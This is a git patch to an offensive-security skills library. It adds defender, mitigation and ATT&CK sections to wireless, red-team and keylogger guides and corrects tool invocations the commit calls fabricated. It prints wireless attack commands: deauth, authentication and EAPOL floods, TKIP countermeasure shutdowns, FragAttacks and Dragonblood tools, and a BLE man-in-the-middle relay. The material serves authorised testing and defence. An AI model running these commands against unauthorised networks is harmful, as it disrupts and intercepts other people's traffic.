From 15c9cea85f2074955583f6066daca2fc202c1120 Mon Sep 17 00:00:00 2001 From: Hazratqul21 Date: Sun, 22 Nov 2026 21:24:12 +0500 Subject: [PATCH] Add defender sections and fix non-working commands in offensive skills Improve 10 skills with defense-oriented content and correct fabricated or misattributed tool invocations found via source verification. Added (Detection / Mitigation / ATT&CK): - offensive-z-wave: S0 downgrade (Z-Shave), Detection/Defender View, Mitigations/Hardening, ATT&CK for ICS, cited references - offensive-deauth-disassoc: Mitigations/Defender Hardening (PMF/WPA3), ATT&CK - offensive-krack-fragattacks: Detection/Defender View, Mitigations, ATT&CK - offensive-advanced-redteam: Blue Team / Defender View (per-technique detection) - offensive-keylogger-arch: Detection/Defender View, Mitigations, ATT&CK, refs Fixed (non-existent / wrong commands and repos): - offensive-z-wave: ezwave-sniff/ezwave-test -> real ezstumbler.py/ezrecon.py; canonical scriptingxss/EZ-Wave; 32-bit HomeID brute-force infeasible - offensive-deauth-disassoc: mdk4 mode m is Michael/TKIP (not "CTS"), mode w is WIDS confusion (not "SAE/WPA-Enterprise flood") - offensive-krack-fragattacks + offensive-wifi: fragattack.py , not test-fragattacks.py - offensive-lorawan-sub-ghz: IOActive/laf (not IoTsec/loraserver-attack-tools); Rolling-PWN correctly attributed (Star-V Lab, CVE-2021-46145) - offensive-bluetooth-ble: btproxy is Classic/SPP (conorpp), not BLE -> Mirage - offensive-wpa3-sae: dragondrain/dragontime are C tools in vanhoefm/dragondrain-and-time, not python in vanhoefm/dragonblood - offensive-zigbee-thread-matter: z3sec_touchlink reset/update, not z3sec_inter_pan.py Co-Authored-By: Claude Opus 4.8 --- CHANGELOG.md | 12 ++ .../offensive-advanced-redteam/SKILL.md | 19 +++ .../offensive-keylogger-arch/SKILL.md | 42 +++++++ .../wireless/offensive-bluetooth-ble/SKILL.md | 11 +- .../offensive-deauth-disassoc/SKILL.md | 61 ++++++++-- .../offensive-krack-fragattacks/SKILL.md | 43 +++++-- .../offensive-lorawan-sub-ghz/SKILL.md | 20 +++- Skills/wireless/offensive-wifi/SKILL.md | 3 +- Skills/wireless/offensive-wpa3-sae/SKILL.md | 19 +-- Skills/wireless/offensive-z-wave/SKILL.md | 108 ++++++++++++++---- .../offensive-zigbee-thread-matter/SKILL.md | 17 +-- 11 files changed, 286 insertions(+), 69 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c1b1f0b..8d6c77f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,10 +6,22 @@ All notable changes to `claude-red` are documented here. The library follows a p ### Changed +- Expanded `offensive-z-wave` with the S0 downgrade attack (Z-Shave), a Detection / Defender View table, a Mitigations / Hardening section, MITRE ATT&CK for ICS mappings, and cited references (Fouladi & Ghanoun, Black Hat USA 2013; Pen Test Partners Z-Shave, 2018). +- Expanded `offensive-deauth-disassoc` with a Mitigations / Defender Hardening section (PMF-Required / WPA3 enforcement, WIPS tuning, MFPR verification) and MITRE ATT&CK mappings (T1498, T1557, T1040). +- Expanded `offensive-krack-fragattacks` with a Detection / Defender View, a Mitigations / Defender Hardening section (patch, segment unpatchable IoT, PMF/WPA3, TLS-everywhere), and MITRE ATT&CK mappings (T1557, T1040, T1498). +- Added a Blue Team / Defender View section to `offensive-advanced-redteam` mapping each technique (domain aging, redirectors, malleable C2, DNS exfil, AMSI/ETW patching, unhooking, LOLBins, log clearing) to its detection signal and control, for purple-team debriefs. +- Added Detection / Defender View, Mitigations / Hardening, MITRE ATT&CK mappings (T1056.001, T1056.004, T1041), and a cited Key References section to `offensive-keylogger-arch`. - Replaced an inactive EXIF viewer reference in `offensive-osint` with a browser-local metadata viewer and added evidence-corroboration guidance. ### Fixed +- Corrected non-existent commands in `offensive-z-wave`: replaced the fabricated `ezwave-sniff` / `ezwave-test` invocations with the real EZ-Wave tools (`ezstumbler.py`, `ezrecon.py`), fixed the EZ-Wave repo link to the canonical `scriptingxss/EZ-Wave`, clarified that the 32-bit HomeID space makes brute-force infeasible, and flagged the Scapy-Radio zwave class/field names as version-dependent. +- Corrected mislabeled `mdk4` modes in `offensive-deauth-disassoc`: mode `m` is Michael/TKIP countermeasures (not a "CTS/virtual-carrier" attack) and mode `w` is WIDS confusion (not an "SAE/WPA-Enterprise flood"); replaced those lines with accurate mode `a`/`e`/`m` usage and fixed the version-dependent deauth filter flag. +- Corrected the FragAttacks invocation in `offensive-krack-fragattacks` and `offensive-wifi`: the real script is `fragattack.py `, not the non-existent `test-fragattacks.py`; noted the harness requires the target network credentials. +- Fixed fabricated / misattributed tool repos in `offensive-lorawan-sub-ghz`: replaced the non-existent `IoTsec/loraserver-attack-tools` with IOActive's LoRaWAN Auditing Framework (`IOActive/laf`) + Loracrack, and the invalid `AndrewMohawk/RollingPwn` with the correctly-attributed Rolling-PWN advisory (Kevin2600 & Wesley Li, Star-V Lab; CVE-2021-46145). +- Fixed the BLE MITM example in `offensive-bluetooth-ble`: `btproxy` is Bluetooth Classic/SPP only (canonical repo `conorpp/btproxy`, not the `Charmve` mirror) and cannot do BLE — replaced with Mirage `ble_mitm` and noted GATTacker / BtleJuice as BLE alternatives. +- Fixed the Dragonblood tooling in `offensive-wpa3-sae`: `dragondrain` / `dragontime` are not Python scripts and do not live in `vanhoefm/dragonblood` (website only) — they are compiled C tools in `vanhoefm/dragondrain-and-time` (built with `make`); corrected the clone, invocations, and references (added dragonslayer). +- Fixed the Z3sec commands in `offensive-zigbee-thread-matter`: the real CLI is `z3sec_touchlink --sdr -c reset/update --target ` (requiring the ZLL master key in `~/.config/z3sec/touchlink_crypt.ini`), not the non-existent `z3sec_inter_pan.py --command ...`. - Corrected FreeMarker resolver prerequisites, Velocity constructor lookup, the PHP 8.0 PHAR boundary, and Apollo Sandbox's introspection requirement. - Corrected the Touchlink master key and key derivation terminology in the IoT and wireless skills, and distinguished PLC identity documents from operation logs. - Clarified JWT critical-header validation and signing prerequisites; corrected SQL/JSON WAF examples and their attribution to Team82's 2022 research. diff --git a/Skills/infrastructure/offensive-advanced-redteam/SKILL.md b/Skills/infrastructure/offensive-advanced-redteam/SKILL.md index ca7c499..3aa6c7e 100644 --- a/Skills/infrastructure/offensive-advanced-redteam/SKILL.md +++ b/Skills/infrastructure/offensive-advanced-redteam/SKILL.md @@ -512,6 +512,25 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.xml --- +## Blue Team / Defender View + +The whole point of adversary simulation is to make the defense better. For every technique in this skill, here is what a mature defender can see and the control that blunts it — hand this table to the blue team during the purple-team debrief. + +| Offensive technique (this skill) | Detection signal | Control that stops / raises cost | +|---|---|---| +| Domain categorization / aging | Newly-categorized domain with near-zero history contacted by an internal host | DNS/proxy reputation + newly-seen-domain alerting; block uncategorized + freshly-registered domains | +| Redirectors / traffic filtering | Beacon-like periodicity to a CDN or "business" domain; JA3/JA3S mismatch | TLS fingerprint (JA3) baselining; egress proxy with inspection; alert on long-lived periodic flows | +| Malleable C2 profile blending | HTTP(S) that mimics M365 but to the wrong tenant/endpoint; consistent byte sizes | Known-good SaaS endpoint allow-listing; NetFlow beacon analysis (RITA-style) | +| Sleep / jitter / fallback channels | Low-and-slow periodic callbacks; sudden channel switch (HTTP→DNS) | Long-window beacon detection; alert when a host starts high-volume DNS TXT | +| DNS exfiltration (TXT chunking) | High entropy, high-volume TXT queries to one domain | DNS query-length/volume thresholds; block or sinkhole; DNS logging to SIEM | +| AMSI patching | `amsi.dll` in-memory modification; AMSI bypass behavioral signatures | AMSI + EDR behavioral detection; alert on self-patching of security DLLs | +| ETW patching | ETW provider going silent on an active process; `ntdll` ETW stubs modified | EDR tamper-protection; monitor for ETW blinding | +| Unhooking / direct syscalls | Syscall instructions from non-`ntdll` memory; missing userland hooks | Kernel-telemetry EDR (not just userland hooks); call-stack validation | +| LOLBins (certutil, mshta, MSBuild) | Signed binary spawning network/child-process it never normally does | LOLBAS-informed detection rules; application control (WDAC/AppLocker); block unused LOLBins | +| Indicator cleanup / log clearing | Event-log gaps; `1102` (log cleared); deleted-artifact timeline holes | Ship logs off-host in real time; alert on log clears; immutable log store | + +Purple-team framing: the deliverable is not "we got in" — it is **which of these rows alerted, which didn't, and what the blue team will change**. Track each row as detected / partial / missed in the debrief. + ## Reporting The report is the primary deliverable of a red team engagement. It must communicate diff --git a/Skills/infrastructure/offensive-keylogger-arch/SKILL.md b/Skills/infrastructure/offensive-keylogger-arch/SKILL.md index 8ec347c..b488464 100644 --- a/Skills/infrastructure/offensive-keylogger-arch/SKILL.md +++ b/Skills/infrastructure/offensive-keylogger-arch/SKILL.md @@ -178,6 +178,48 @@ its a syscall so you can use your favorite \*gate technique on it --- +## Detection / Defender View + +Each technique above lists per-method IOCs; this consolidates them into what a defender actually monitors. + +| Capture technique | Primary detection signal | Telemetry source | +|---|---|---| +| `SetWindowsHookEx` (WH_KEYBOARD_LL) | Process calling `SetWindowsHookEx` with a global hook; DLL injected into many processes | EDR API telemetry; Sysmon image-load (Event ID 7) into unexpected processes | +| `NtUserSetWindowsHookEx` (direct syscall) | Syscall to the hook routine bypassing the documented `user32` path | Kernel-telemetry EDR; call-stack origin outside `user32.dll` | +| `RegisterRawInputDevices` / raw input | Process registering for raw keyboard input that has no UI reason to | API-hook telemetry; behavioral baselining of input-registration | +| Foreground-window polling (`GetWindowText`, `NtUserInternalGetWindowText`) | Tight polling of foreground window title by a background process | Process behavior; high-frequency window-query pattern | +| Local staging before exfil | Growing hidden file / registry blob of captured text | File/registry write monitoring; DLP on keystroke-shaped data | + +Defender takeaway: user-mode keyloggers are **loud to a behavioral EDR** even when they evade static signatures — the tell is *a background process subscribing to global input*. Hunt for the subscription, not the payload. + +## Mitigations / Hardening + +| Technique | Mitigation | +|---|---| +| Global hook / API-hook keylogging | EDR with tamper-protected API telemetry; alert on global `SetWindowsHookEx` from non-UI processes | +| Direct-syscall hook installation | Kernel-mode telemetry (not userland-hook-only EDR); call-stack validation | +| Raw input capture | Behavioral detection of input-device registration; least-privilege so untrusted code can't run | +| Credential theft via keylogging | Enforce MFA / FIDO2 hardware keys so captured passwords alone are insufficient; use OS credential vaults and autofill instead of typing secrets | +| Persistence of the keylogger | Application control (WDAC/AppLocker); block unsigned user-mode drivers; Protected Process Light for sensitive apps | + +Defender one-liner: **behavioral EDR + application control + phishing-resistant MFA** turns a working keylogger into low-value noise — the keystrokes it steals no longer unlock anything. + +## MITRE ATT&CK Mapping + +| Technique | ID | +|---|---| +| Input Capture: Keylogging | T1056.001 | +| Input Capture: Credential API Hooking | T1056.004 | +| Exfiltration Over C2 Channel | T1041 | + +## Key References + +- MITRE ATT&CK — Input Capture: Keylogging (T1056.001): https://attack.mitre.org/techniques/T1056/001/ +- MITRE ATT&CK — Credential API Hooking (T1056.004): https://attack.mitre.org/techniques/T1056/004/ +- Microsoft Learn — `SetWindowsHookEx` / low-level keyboard hooks: https://learn.microsoft.com/windows/win32/winmsg/about-hooks +- Microsoft Learn — Raw Input (`RegisterRawInputDevices`): https://learn.microsoft.com/windows/win32/inputdev/raw-input +- Sysmon configuration for image-load / API monitoring: https://github.com/SwiftOnSecurity/sysmon-config + # Novel research Now... that's all stuff that can be figured out by anyone determined diff --git a/Skills/wireless/offensive-bluetooth-ble/SKILL.md b/Skills/wireless/offensive-bluetooth-ble/SKILL.md index e81d3e8..6243edb 100644 --- a/Skills/wireless/offensive-bluetooth-ble/SKILL.md +++ b/Skills/wireless/offensive-bluetooth-ble/SKILL.md @@ -102,11 +102,12 @@ For LE Legacy Pairing with Just Works, crackle recovers the LTK in seconds. For ## Active MITM During Pairing ```bash -# btproxy / mirage-action-with-mitm — relay between device and victim's phone -mirage-action-with-mitm -# Or: -git clone https://github.com/Charmve/btproxy -sudo python btproxy.py +# BLE MITM relay between the device and the victim's phone. +# Use a BLE-capable framework — Mirage (RCayre) is the modern choice: +sudo mirage "ble_mitm|INTERFACE1=hci0|INTERFACE2=hci1" # see Mirage docs for parameters +# Alternatives: GATTacker, BtleJuice. +# NOTE: conorpp/btproxy is Bluetooth *Classic/SPP* only and does NOT support BLE — +# the "Charmve/btproxy" repo is just a mirror; do not use it for BLE. ``` If pairing is Just Works, you become the legitimate peer for both sides — read/modify GATT operations in real time. diff --git a/Skills/wireless/offensive-deauth-disassoc/SKILL.md b/Skills/wireless/offensive-deauth-disassoc/SKILL.md index d5a7ea8..42a06a5 100644 --- a/Skills/wireless/offensive-deauth-disassoc/SKILL.md +++ b/Skills/wireless/offensive-deauth-disassoc/SKILL.md @@ -37,8 +37,10 @@ sudo aireplay-ng --deauth 5 \ sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon # --deauth 0 = continuous -# Multiple APs from a list -sudo mdk4 wlan0mon d -B target_bssids.txt -c 1,6,11 +# Multiple APs across channels (mode d = deauth/disassoc amok). +# Flag for a MAC filter file is version-dependent: -w (whitelist) / -b (blacklist). +# Confirm with `mdk4 --help d` before use; -c takes the channel hop list. +sudo mdk4 wlan0mon d -b target_macs.txt -c 1,6,11 ``` Only with explicit authorization. Continuous broadcast deauth is a clear DoS signal and trips most WIPS within seconds. @@ -62,14 +64,24 @@ sudo airodump-ng wlan0mon -c --bssid PMF protects deauth/disassoc but doesn't always protect all action frames. Specific action types remain exploitable: +PMF protects deauth/disassoc, but other mdk4 modes still cause disconnects without spoofing a protected management frame. Verify mode letters against `mdk4 --help ` on your installed version — they have been mislabeled in many copied cheatsheets. + ```bash -# mdk4 multi-tool attacks -sudo mdk4 wlan0mon a -a # auth attack: floods auth frames, AP eventually disconnects clients -sudo mdk4 wlan0mon m -t # CTS frame attack — abuse virtual carrier sense -sudo mdk4 wlan0mon w -t # WPA-Enterprise: SAE auth flood +# mode a — authentication DoS: floods the AP with auth frames, exhausting its +# client/association table so legitimate clients can't connect. Works regardless of PMF. +sudo mdk4 wlan0mon a -a + +# mode e — EAPOL start/logoff flood: can kick clients off; not a spoofed deauth frame. +sudo mdk4 wlan0mon e -t + +# mode m — Michael (TKIP) countermeasures: forces a ~60s AP shutdown. +# ONLY applies to legacy TKIP networks, not CCMP/WPA2-AES or WPA3. +sudo mdk4 wlan0mon m -t ``` -Action frames the IEEE 802.11 spec marks as "may be unprotected" include some block-ack and channel-switch announcements — implementation-specific exploitation paths exist but require chipset-specific testing. +> Correction vs. common cheatsheets: mdk4 mode `m` is **Michael/TKIP countermeasures**, not a "CTS/virtual-carrier" attack, and mode `w` is **WIDS confusion**, not an "SAE/WPA-Enterprise flood" (SAE is WPA3). Don't rely on those mislabeled one-liners. + +Separately, the IEEE 802.11 spec marks some action frames (certain block-ack and channel-switch announcements) as "may be unprotected" — implementation-specific paths exist but require chipset-specific testing. ## Beacon Flooding @@ -96,6 +108,23 @@ Use cases: Randomize source MAC across burst-and-pause cycles to spread the signal. +## Mitigations / Defender Hardening + +This is the counter. Deauth/disassoc abuse is a *solved* problem at the protocol level — the gap is deployment, not defense: + +| Technique | Mitigation | +|---|---| +| Classic deauth/disassoc spoofing | **Set PMF (802.11w) to Required**, not just Capable. Required cryptographically authenticates management frames and makes classic deauth inert | +| PMF left Capable/optional | Audit every SSID; Capable still lets non-PMF clients be deauthed. Move to Required once the client fleet supports it | +| Legacy clients blocking PMF-Required | Segment legacy devices onto a separate SSID/VLAN so the main network can enforce Required | +| Protocol gap entirely | **Deploy WPA3** — PMF is mandatory in WPA3, closing the deauth vector by default | +| Action-frame / auth-flood attacks | Enable WIPS containment + rate-limit auth/assoc; patch AP firmware for known management-frame floods | +| Beacon flood hiding an evil twin | WIPS rogue-AP detection tuned to alert (not just dashboard); 802.11r/k/v for sane roaming so a rogue SSID is less attractive | + +Defender one-liner: **PMF-Required (or WPA3) + a tuned WIPS** removes the classic deauth vector outright and turns the remaining action-frame paths into loud, chipset-specific noise. + +Verification step a blue team can run: confirm the RSN capabilities bit advertises **MFPR (Management Frame Protection Required)**, not just MFPC (Capable), in the beacon of every production SSID. + ## Engagement Cheatsheet ```bash @@ -123,10 +152,20 @@ Document for each test: --- +## MITRE ATT&CK Mapping + +| Technique | ID | Where it appears here | +|---|---|---| +| Network Denial of Service | T1498 | Broadcast / continuous deauth; auth and beacon floods | +| Adversary-in-the-Middle | T1557 | Deauth to drive clients onto an evil twin | +| Network Sniffing | T1040 | Forcing reconnection to capture the WPA handshake | + ## Key References -- aireplay-ng documentation -- mdk4: github.com/aircrack-ng/mdk4 -- IEEE 802.11w-2009 (PMF spec, now folded into 802.11-2020) -- "Why MAC Address Randomization Doesn't Work" — research on action-frame leakage +- aireplay-ng documentation: https://www.aircrack-ng.org/doku.php?id=aireplay-ng +- mdk4: https://github.com/aircrack-ng/mdk4 +- IEEE 802.11w-2009 — Protected Management Frames (now folded into IEEE 802.11-2020) +- Wi-Fi Alliance — WPA3 specification (PMF mandatory): https://www.wi-fi.org/discover-wi-fi/security +- "Why MAC Address Randomization Doesn't Work" — research on action-frame / probe leakage +- MITRE ATT&CK: https://attack.mitre.org/techniques/T1498/ - Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md diff --git a/Skills/wireless/offensive-krack-fragattacks/SKILL.md b/Skills/wireless/offensive-krack-fragattacks/SKILL.md index b0eb255..6cbf063 100644 --- a/Skills/wireless/offensive-krack-fragattacks/SKILL.md +++ b/Skills/wireless/offensive-krack-fragattacks/SKILL.md @@ -51,11 +51,15 @@ FragAttacks abuse 802.11 fragmentation and aggregation to inject frames that mix ```bash git clone https://github.com/vanhoefm/fragattacks -cd fragattacks -sudo ./test-fragattacks.py wlan0 --interface wlan0 -# Suite of ~12 tests covering each variant +cd fragattacks && make # builds the modified hostap/wpa_supplicant + +# Run one test at a time: ./fragattack.py +# Test names (ping, ping-frag-sep, amsdu-inject, linux-plain, ...) are in the README. +sudo ./fragattack.py wlan0 ping-frag-sep ``` +> The script is `fragattack.py` (singular), invoked as `fragattack.py ` — **not** `test-fragattacks.py --interface …` (a name that only appears in copied cheatsheets). The harness needs the target network's credentials, so it tests a client/AP you control rather than attacking a blind target. + | CVE | Mechanism | |---|---| | CVE-2020-24588 | A-MSDU spoofing — inject crafted A-MSDU subframes | @@ -88,11 +92,28 @@ sudo aireplay-ng --deauth 5 -a -c wlan0mon sudo ./krack-test-client.py --interface wlan0 ``` -## Detection +## Detection / Defender View + +- WIPS may flag the **deauth-driven roam** to the attacker AP — this is the loudest, most reliable signal, since exploitation itself is near-silent. +- Vanhoef's test scripts generate distinctive frame patterns; modern WIPS signatures recognize the tooling. +- Successful exploitation is essentially silent at the protocol level — so detection leans on the *setup* (rogue AP, forced roam), not the exploit. +- An unexpected A-MSDU / fragmented-frame mix from a client that normally doesn't fragment is an anomaly worth hunting if you have frame-level capture. -- WIPS may flag deauth-driven roams to attacker AP -- Test scripts generate distinctive frame patterns; modern WIPS recognizes Vanhoef's tooling -- Successful exploitation is essentially silent at protocol level +Blue-team takeaway: you will rarely catch the exploit; you catch the **rogue AP + forced association** that precedes it. Monitor for both. + +## Mitigations / Defender Hardening + +The counter — and for these families it is decisive, because both are patched upstream: + +| Technique | Mitigation | +|---|---| +| KRACK key reinstallation | **Patch the supplicant** — every major OS has shipped fixes since 2017–2018. This closes it outright | +| FragAttacks splicing/aggregation | Patch client and AP firmware (2021–2022 fixes); ensure the stack drops plaintext frames inside a protected network (CVE-2020-26140/26139 are acceptance bugs) | +| Unpatchable embedded / IoT long tail | Inventory them; **segment onto an isolated VLAN/SSID** carrying no sensitive traffic; deny inter-VLAN routing | +| Forced-roam precondition | Enforce **PMF-Required / WPA3** so the attacker cannot deauth the client onto a rogue AP in the first place (see `offensive-deauth-disassoc`) | +| Residual injection impact (DNS poison, HTTP redirect) | Defense-in-depth: enforce HTTPS/HSTS and encrypted DNS so a spliced frame can't downgrade traffic to plaintext | + +Defender one-liner: **patch + segment the unpatchable + PMF/WPA3 + TLS-everywhere** reduces KRACK/FragAttacks from a decryption-and-inject primitive to a dead end on anything that matters. ## Reporting @@ -105,6 +126,14 @@ For each vulnerable CVE: --- +## MITRE ATT&CK Mapping + +| Technique | ID | Where it appears here | +|---|---|---| +| Adversary-in-the-Middle | T1557 | Rogue AP + frame injection (HTTP redirect, DNS poison) | +| Network Sniffing | T1040 | Decryption of WPA2 frames via key reinstallation | +| Network Denial of Service | T1498 | Deauth used to force the client onto the attacker AP | + ## Key References - KRACK: krackattacks.com (Vanhoef) diff --git a/Skills/wireless/offensive-lorawan-sub-ghz/SKILL.md b/Skills/wireless/offensive-lorawan-sub-ghz/SKILL.md index d17360a..f1cb087 100644 --- a/Skills/wireless/offensive-lorawan-sub-ghz/SKILL.md +++ b/Skills/wireless/offensive-lorawan-sub-ghz/SKILL.md @@ -59,9 +59,12 @@ ABP devices have NwkSKey + AppSKey flashed at manufacture. Common flaws: - DevAddr predictability (sequential allocation) ```bash -# If you have NwkSKey + AppSKey + DevAddr, decode/inject with lorawan-test-tools -git clone https://github.com/IoTsec/loraserver-attack-tools -python lora_inject.py --nwkskey --appskey --devaddr +# With NwkSKey + AppSKey + DevAddr, craft / parse / inject LoRaWAN frames using +# IOActive's LoRaWAN Auditing Framework (LAF) — the canonical offensive toolset. +# (The old "IoTsec/loraserver-attack-tools" repo does not exist.) +git clone https://github.com/IOActive/laf +# LAF ships tools to craft, parse, send and crack LoRaWAN packets — see its README +# for the exact CLI. For session-key cracking from captures, see applied-risk/Loracrack. ``` ### Frame Counter Replay @@ -97,8 +100,11 @@ KeeLoq uses a 32-bit block cipher with a manufacturer key. The manufacturer key - Combined with capture-replay, take over the remote ```bash -# rolling-code-tools (research) -git clone https://github.com/AndrewMohawk/RollingPwn +# Rolling-code research. Rolling-PWN (Honda counter-resync, Kevin2600 & Wesley Li / +# Star-V Lab; CVE-2021-46145, see also disputed CVE-2022-27254) has NO reliably- +# attributed public PoC — the "AndrewMohawk/RollingPwn" repo is not a valid source. +# Work from the advisory and capture/replay with rtl_433 + Universal Radio Hacker. +urh # Universal Radio Hacker — capture, analyze, and replay the sub-GHz frames ``` Modern KeeLoq deployments (last 5 years) have rotated manufacturer keys, but legacy hardware (older garage doors, some industrial equipment) is in scope. @@ -177,6 +183,8 @@ gqrx # spectrum view to find activity - rtl_433 protocol database: github.com/merbanan/rtl_433 - Universal Radio Hacker: github.com/jopohl/urh -- RollingPwn (KeeLoq research): github.com/AndrewMohawk/RollingPwn +- LoRaWAN Auditing Framework (LAF), IOActive: https://github.com/IOActive/laf +- Loracrack (LoRaWAN session-key cracking): https://github.com/applied-risk/Loracrack +- Rolling-PWN (Honda rolling-code resync; Kevin2600 & Wesley Li, Star-V Lab; CVE-2021-46145): https://www.rtl-sdr.com/rollingpwn-wireless-rolling-code-security-completely-defeated-on-all-honda-vehicles-since-2012/ - LoRaWAN Specification: lora-alliance.org - Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md diff --git a/Skills/wireless/offensive-wifi/SKILL.md b/Skills/wireless/offensive-wifi/SKILL.md index 34fb5d4..4e1aeac 100644 --- a/Skills/wireless/offensive-wifi/SKILL.md +++ b/Skills/wireless/offensive-wifi/SKILL.md @@ -229,7 +229,8 @@ Test a network's patch status: git clone https://github.com/vanhoefm/krackattacks-scripts ./krack-test-client.py git clone https://github.com/vanhoefm/fragattacks -./test-fragattacks.py wlan0 +cd fragattacks && make +./fragattack.py wlan0 ping-frag-sep # script is fragattack.py ; see README ``` --- diff --git a/Skills/wireless/offensive-wpa3-sae/SKILL.md b/Skills/wireless/offensive-wpa3-sae/SKILL.md index 184b63b..e515161 100644 --- a/Skills/wireless/offensive-wpa3-sae/SKILL.md +++ b/Skills/wireless/offensive-wpa3-sae/SKILL.md @@ -52,11 +52,14 @@ Side-channel and downgrade attacks against the SAE Hunting-and-Pecking algorithm The original SAE password-element derivation iterates a variable number of times depending on the password and MAC. Cache hits leak the iteration count. ```bash -git clone https://github.com/vanhoefm/dragonblood -cd dragonblood +# The DoS / timing tools live in vanhoefm/dragondrain-and-time — NOT vanhoefm/dragonblood, +# which only hosts the project website. They are compiled C tools (built with make) that +# need a patched ath9k driver; they are not `.py` scripts. Verify flags against the README. +git clone https://github.com/vanhoefm/dragondrain-and-time +cd dragondrain-and-time && make # Cache-based attack (requires co-located malicious code on target host — limited) -python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon +sudo ./dragontime # see repo README for interface/BSSID flags ``` ### Timing Side-Channel @@ -64,7 +67,7 @@ python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon The same iteration count leaks via observable timing of the SAE commit phase from outside. ```bash -python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon --mode timing +sudo ./dragontime # timing mode; see dragondrain-and-time README for flags ``` ### Downgrade to Weak Group @@ -72,7 +75,7 @@ python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon --mode timing Some implementations accept SAE with the deprecated MODP group 5 if the client requests it. Combined with cache/timing side channels, this enables offline dictionary attack. ```bash -python3 dragondrain.py wlan0mon AA:BB:CC:DD:EE:FF +sudo ./dragondrain # SAE-commit flooding DoS; see dragondrain-and-time README ``` ### Patched Versions @@ -142,8 +145,8 @@ sudo airbase-ng -e -c -W 1 -z 4 wlan0mon # WPA2-RSN advertised onl # (passive analysis of beacon IE order + version-specific behaviors) # 5. Run Dragonblood test scripts if pre-2.10 hostapd suspected -python3 dragondrain.py wlan0mon -python3 dragontime.py --bssid --iface wlan0mon +sudo ./dragondrain # from vanhoefm/dragondrain-and-time (built with make) +sudo ./dragontime # from vanhoefm/dragondrain-and-time (built with make) # 6. Document residual viable attacks; pivot to evil-twin / EAP / RF if pure WPA3 R2 ``` @@ -153,6 +156,8 @@ python3 dragontime.py --bssid --iface wlan0mon ## Key References - Dragonblood: dragonblood.net (Vanhoef + Ronen) +- Dragondrain/Dragontime tools (DoS + timing, C/make): https://github.com/vanhoefm/dragondrain-and-time +- Dragonslayer (EAP-pwd invalid-curve): https://github.com/vanhoefm/dragonslayer - IEEE 802.11-2020 (combined spec including WPA3) - WFA WPA3 Specification - hostapd 2.10 release notes diff --git a/Skills/wireless/offensive-z-wave/SKILL.md b/Skills/wireless/offensive-z-wave/SKILL.md index b262b9a..a1f6125 100644 --- a/Skills/wireless/offensive-z-wave/SKILL.md +++ b/Skills/wireless/offensive-z-wave/SKILL.md @@ -1,6 +1,6 @@ --- name: offensive-z-wave -description: "Z-Wave attack methodology — sniffing with Z-Force / EZ-Wave / RTL-SDR + ZniffMobile, S0 (legacy) network-key derivation flaw and key reuse, S2 (modern) ECDH commissioning analysis, replay/injection on unauthenticated nodes, default-key brute-force on test deployments, and home-automation hub pivots. Use when targeting Z-Wave smart home devices (door locks, sensors, garage controllers) — common in mid-2010s smart home deployments still in production." +description: "Z-Wave attack methodology — sniffing with Z-Force / EZ-Wave / RTL-SDR + ZniffMobile, S0 (legacy) network-key derivation flaw, the S0 downgrade attack (Z-Shave), S2 (modern) ECDH commissioning analysis, replay/injection on unauthenticated nodes, default-key brute-force on test deployments, and home-automation hub pivots. Pairs each technique with a defender view (what the hub/SIEM sees) and concrete hardening (force S2, remove S0 fallback, secure the hub key store). Use when assessing or defending Z-Wave smart home devices (door locks, sensors, garage controllers) — common in mid-2010s smart home deployments still in production, and when mapping Z-Wave findings to MITRE ATT&CK for ICS." --- # Z-Wave Attacks @@ -21,7 +21,7 @@ Z-Wave runs in the 800/900 MHz ISM band (US: 908 MHz, EU: 868 MHz). Older networ | Adapter | Use | |---|---| | Z-Force (legacy, hard to find) | Original research tool | -| EZ-Wave (custom HackRF firmware) | Modern, full transceiver | +| EZ-Wave (GNU Radio flowgraph on HackRF) | Legacy (2016, Python 2) recon/TX toolset | | Aeotec Z-Stick | Commercial controller, useful as legitimate node | | HackRF + open Z-Wave firmware | Multi-band SDR approach | | RTL-SDR + ZniffMobile (passive only) | Cheap sniffer | @@ -29,14 +29,23 @@ Z-Wave runs in the 800/900 MHz ISM band (US: 908 MHz, EU: 868 MHz). Older networ ## Sniffing ```bash -# EZ-Wave (HackRF firmware-based) -git clone https://github.com/cureHsu/EZ-Wave -ezwave-sniff -f 908.4MHz -o capture.pcap +# EZ-Wave (Hall & Ramsey, ShmooCon 2016) — Scapy-Radio + GNU Radio on HackRF. +# Legacy Python 2 toolset, largely unmaintained; GitHub release is recon-focused. +git clone https://github.com/scriptingxss/EZ-Wave -# Wireshark with the Z-Wave dissector parses captured frames -wireshark capture.pcap +# Enumerate networks / nodes (passive, or active with a known HomeID) +python2 ezstumbler.py --passive +python2 ezstumbler.py --active --homeid=0x1a2b3c4e + +# Interrogate a node: manufacturer, firmware, supported command classes +python2 ezrecon.py 0x1a2b3c4d 2 + +# Raw capture is driven by EZ-Wave's GNU Radio flowgraph over the HackRF; +# frames parse in Wireshark via the Z-Wave dissector (LINKTYPE_ZWAVE_R1_R2). ``` +> Note: `ezwave-sniff` is **not** a real EZ-Wave command — use `ezstumbler.py` / `ezrecon.py` as above. For a modern passive sniffer, an RTL-SDR with a Z-Wave decoder or a Silicon Labs Zniffer + ZniffMobile is the practical path. + Look for the inclusion phase (controller adding new device) — that's where the network key is exchanged. ## S0 Security Flaw @@ -56,6 +65,12 @@ If you can: You own the network key for that mesh. +### S0 Downgrade ("Z-Shave") + +Pen Test Partners (2018) showed that an S2-capable node can be **forced down to S0** during inclusion: the attacker spoofs the "S2 not supported" indication so commissioning falls back to the weak S0 exchange, re-opening the zero-PSK window on otherwise-modern hardware. This matters because many deployments leave S0 enabled "for compatibility" long after every node supports S2. + +Defender takeaway: the fix is not detection-only — it is **removing the S0 fallback path** (see Mitigations / Hardening). Treat any S0 commissioning observed on an S2-capable mesh as a downgrade indicator. + ## S2 (Z-Wave Plus / S2 Authenticated) S2 fixes S0 by using ECDH for commissioning: @@ 